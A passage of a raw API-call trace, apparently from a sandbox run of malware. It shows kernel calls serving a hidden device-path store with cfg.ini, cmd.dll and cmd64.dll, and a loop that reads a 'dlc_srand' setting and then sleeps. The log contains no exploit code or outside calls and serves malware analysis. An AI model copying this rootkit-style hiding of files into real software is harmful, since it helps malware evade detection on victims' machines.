ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.986] KeLeaveCriticalRegion () [0124.986] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.986] KeEnterCriticalRegion () [0124.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.986] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.986] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.986] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.986] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.986] IdePortDispatch () returned 0x103 [0124.986] KeWaitForMutexObject () returned 0x0 [0124.986] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.986] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.986] KeLeaveCriticalRegion () [0124.986] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.986] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.986] KeEnterCriticalRegion () [0124.986] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.987] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a04000 [0124.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.987] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.987] IdePortDispatch () returned 0x103 [0124.987] KeWaitForMutexObject () returned 0x0 [0124.987] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.987] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.987] IdePortDispatch () returned 0x103 [0124.987] KeWaitForMutexObject () returned 0x0 [0124.987] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.987] KeLeaveCriticalRegion () [0124.987] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.988] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.988] KeEnterCriticalRegion () [0124.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.988] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.988] KeLeaveCriticalRegion () [0124.988] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.988] KeEnterCriticalRegion () [0124.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.988] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.988] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.988] KeLeaveCriticalRegion () [0124.988] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.988] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.988] KeEnterCriticalRegion () [0124.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.988] ExFreePoolWithTag (P=0xfffffa8003bf4740, Tag=0x0) [0124.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.988] KeLeaveCriticalRegion () [0124.988] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.988] ReleaseMutex (hMutex=0xf0) returned 1 [0124.988] Sleep (dwMilliseconds=0x124f80) [0125.002] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.002] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.002] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.002] KeEnterCriticalRegion () [0125.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.002] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.002] IdePortDispatch () returned 0x103 [0125.002] KeWaitForMutexObject () returned 0x0 [0125.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.003] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.003] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.003] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.003] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.003] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9110 [0125.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.003] KeLeaveCriticalRegion () [0125.003] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.003] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.003] KeEnterCriticalRegion () [0125.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.003] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.003] KeLeaveCriticalRegion () [0125.003] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.003] KeEnterCriticalRegion () [0125.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.003] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.003] IdePortDispatch () returned 0x103 [0125.003] KeWaitForMutexObject () returned 0x0 [0125.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.003] KeLeaveCriticalRegion () [0125.003] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.003] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.003] KeEnterCriticalRegion () [0125.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b09000 [0125.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.004] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.004] IdePortDispatch () returned 0x103 [0125.004] KeWaitForMutexObject () returned 0x0 [0125.004] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.004] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.004] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.004] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.004] IdePortDispatch () returned 0x103 [0125.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.004] KeLeaveCriticalRegion () [0125.004] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.005] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.005] KeEnterCriticalRegion () [0125.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.005] KeLeaveCriticalRegion () [0125.005] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.005] KeEnterCriticalRegion () [0125.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.005] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.005] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be91d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.005] KeLeaveCriticalRegion () [0125.005] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.005] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.005] KeEnterCriticalRegion () [0125.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.005] ExFreePoolWithTag (P=0xfffffa8003be9110, Tag=0x0) [0125.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.005] KeLeaveCriticalRegion () [0125.005] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.005] ReleaseMutex (hMutex=0xf0) returned 1 [0125.005] Sleep (dwMilliseconds=0x124f80) [0125.018] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.019] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.019] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.019] KeEnterCriticalRegion () [0125.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.019] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.019] IdePortDispatch () returned 0x103 [0125.019] KeWaitForMutexObject () returned 0x0 [0125.019] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.019] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.019] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.019] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.019] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.019] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be8910 [0125.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.019] KeLeaveCriticalRegion () [0125.019] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.019] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.019] KeEnterCriticalRegion () [0125.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.019] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.019] KeLeaveCriticalRegion () [0125.019] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.019] KeEnterCriticalRegion () [0125.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.019] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.019] IdePortDispatch () returned 0x103 [0125.020] KeWaitForMutexObject () returned 0x0 [0125.020] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.020] KeLeaveCriticalRegion () [0125.020] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.020] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.020] KeEnterCriticalRegion () [0125.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0e000 [0125.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.020] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.020] IdePortDispatch () returned 0x103 [0125.020] KeWaitForMutexObject () returned 0x0 [0125.020] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.020] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.020] IdePortDispatch () returned 0x103 [0125.020] KeWaitForMutexObject () returned 0x0 [0125.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.020] KeLeaveCriticalRegion () [0125.020] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.021] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.021] KeEnterCriticalRegion () [0125.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.021] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.021] KeLeaveCriticalRegion () [0125.021] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.021] KeEnterCriticalRegion () [0125.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.021] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.021] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4600, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.021] KeLeaveCriticalRegion () [0125.021] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.021] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.021] KeEnterCriticalRegion () [0125.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.021] ExFreePoolWithTag (P=0xfffffa8003be8910, Tag=0x0) [0125.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.021] KeLeaveCriticalRegion () [0125.021] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.021] ReleaseMutex (hMutex=0xf0) returned 1 [0125.021] Sleep (dwMilliseconds=0x124f80) [0125.035] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.035] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.035] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.035] KeEnterCriticalRegion () [0125.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.035] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.035] IdePortDispatch () returned 0x103 [0125.035] KeWaitForMutexObject () returned 0x0 [0125.035] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.035] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.035] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.035] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.035] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.035] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9260 [0125.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.035] KeLeaveCriticalRegion () [0125.035] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.036] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.036] KeEnterCriticalRegion () [0125.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.036] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.036] KeLeaveCriticalRegion () [0125.036] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.036] KeEnterCriticalRegion () [0125.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.036] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.036] IdePortDispatch () returned 0x103 [0125.036] KeWaitForMutexObject () returned 0x0 [0125.036] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.036] KeLeaveCriticalRegion () [0125.036] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.036] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.036] KeEnterCriticalRegion () [0125.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.036] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b13000 [0125.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.036] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.036] IdePortDispatch () returned 0x103 [0125.037] KeWaitForMutexObject () returned 0x0 [0125.037] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.037] 